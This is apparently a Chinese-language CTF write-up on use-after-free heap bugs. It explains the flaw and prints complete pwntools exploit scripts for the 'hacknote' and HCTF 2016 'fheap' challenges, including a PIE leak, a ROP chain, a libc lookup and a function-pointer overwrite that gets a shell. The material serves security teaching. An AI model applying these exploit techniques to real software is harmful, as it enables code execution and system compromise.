漏洞場景:
釋放內存后沒有置NULL指針,而且引用時還沒有驗證,訪問到被釋放的內存.
釋放內存后沒有置NULL指針,當下次申請內存時又申請到這塊內存,且下次訪問時,堆內數據已經改變.常用于堆
里面有函數指針的情況,比如類的虛表
1.實例 lab 10 hacknote
題目分析
1.申請一個堆存放8字節的結構體,結構體第一項是函數指針,第二項是數據堆.申請大小可控
2.申請的結構體指針存放在一個全局數組中
3.刪除時釋放內存后沒有置NULL
4.打印時調用函數指針打印第二項的數據堆,且只是用指針數組的內容不為NULL判斷,因為沒有置NULL,
所以可以引用釋放后的內存
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa")#0
addnote(32, "ddaa")#1
delnote(0)
delnote(1)
addnote(8, p32(magic))
printnote(0)
r.interactive()
- 實例2016 HCTF fheap
題目分析
1.創建和刪除2個功能,創建時分配固定大小結構體內存,第4個qword存放自定義的函數指針,如果輸入
字符串大小超過15字節,則第一個qword存放該字符串堆內存的地址,否則不分配內存,直接將字符串存放
在結構體的前2個qword處.
2.創建的結構體內存地址又是另一個結構體的成員,通過結構體數組存放,且第一個dword為是否已釋放
標識,第2個qword指向創建的結構體地址.刪除時判斷該結構體地址是否為0,而不是判斷那個標識,調用
函數指針將堆上結構體釋放.沒有對指針清0
3.沒有清0指針+判斷邏輯錯誤導致double free和uaf雙重漏洞
總結: 需要通過信息泄漏繞過pie,aslr,通過rop繞過nx,利用了fastbin attack,double free和uaf堆漏洞執行rop最終getshell.
exp:
#coding:utf-8
from pwn import *
from LibcSearcher import *
p = process('./pwn')
elf = ELF('./pwn')
def create(input_size, input_string):
print p.recvuntil('3.quit\n')
p.sendline('create ')
print p.recvuntil('size:')
p.sendline(str(input_size))
print p.recvuntil('str:')
p.sendline(input_string)
return
def delete(input_id):
print p.recvuntil('3.quit\n')
p.sendline('delete ')
print p.recvuntil('id:')
p.sendline(str(input_id))
print p.recvuntil('Are you sure?:')
p.sendline('yes')
return
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
#gdb.attach(p)
create(5, 'caf\x00')
create(5,'asd\x00')
delete(0)
delete(1)
delete(0)
payload = 'a'*8
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += '\x0b'#1 byte overwrite bypass pie,覆蓋一字節去調用puts函數將該指令地址輸出,通過偏移計算得到程序加載基址,繞過pie
create(len(payload),payload)
delete(1)
p.recvuntil('b'*7)
call_puts_addr = p.recvuntil('\n')[:-1]
call_puts_addr = u64(call_puts_addr.ljust(8,'\x00'))
print 'call_puts_addr: '+hex(call_puts_addr)
print 'imagebase: '+hex(call_puts_addr-0xd0b)
imagebase = call_puts_addr-0xd0b #調用puts函數指令偏移
puts_plt_addr = imagebase + puts_plt
delete(0)
#gdb.attach(p)
payload = 'a'*8
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += p64(0x00000000000011cc+imagebase)#0x00000000000011cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret, 讓指令到棧里面指向rop指令
create(0x20,payload)
print p.recvuntil('3.quit\n')
p.sendline('delete ')
print p.recvuntil('id:')
p.sendline(str(1))
print p.recvuntil('Are you sure?:')
payload2 = 'yes\x00aaaa'
payload2 += p64(0x00000000000011d3+imagebase)#0x00000000000011d3 : pop rdi ; ret
payload2 += p64(imagebase+puts_got)
payload2 += p64(puts_plt_addr)#將puts_got內容打印出來
payload2 += p64(0xBC9+imagebase)#ret to main,再次執行main函數
p.sendline(payload2)
puts_addr = p.recvuntil('\n')[:-1]
puts_addr = puts_addr.ljust(8,'\x00')
puts_addr = u64(puts_addr)
print 'puts_addr:'+hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
print 'libcbase: '+hex(libcbase)
system_func = libcbase+libc.dump('system')
print 'system addr: '+hex(system_func)
delete(0)
#gdb.attach(p)
payload = '/bin/sh;'
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += p64(system_func)#再次覆蓋函數指針
create(0x20,payload)
delete(1)#觸發system函數調用
p.interactive()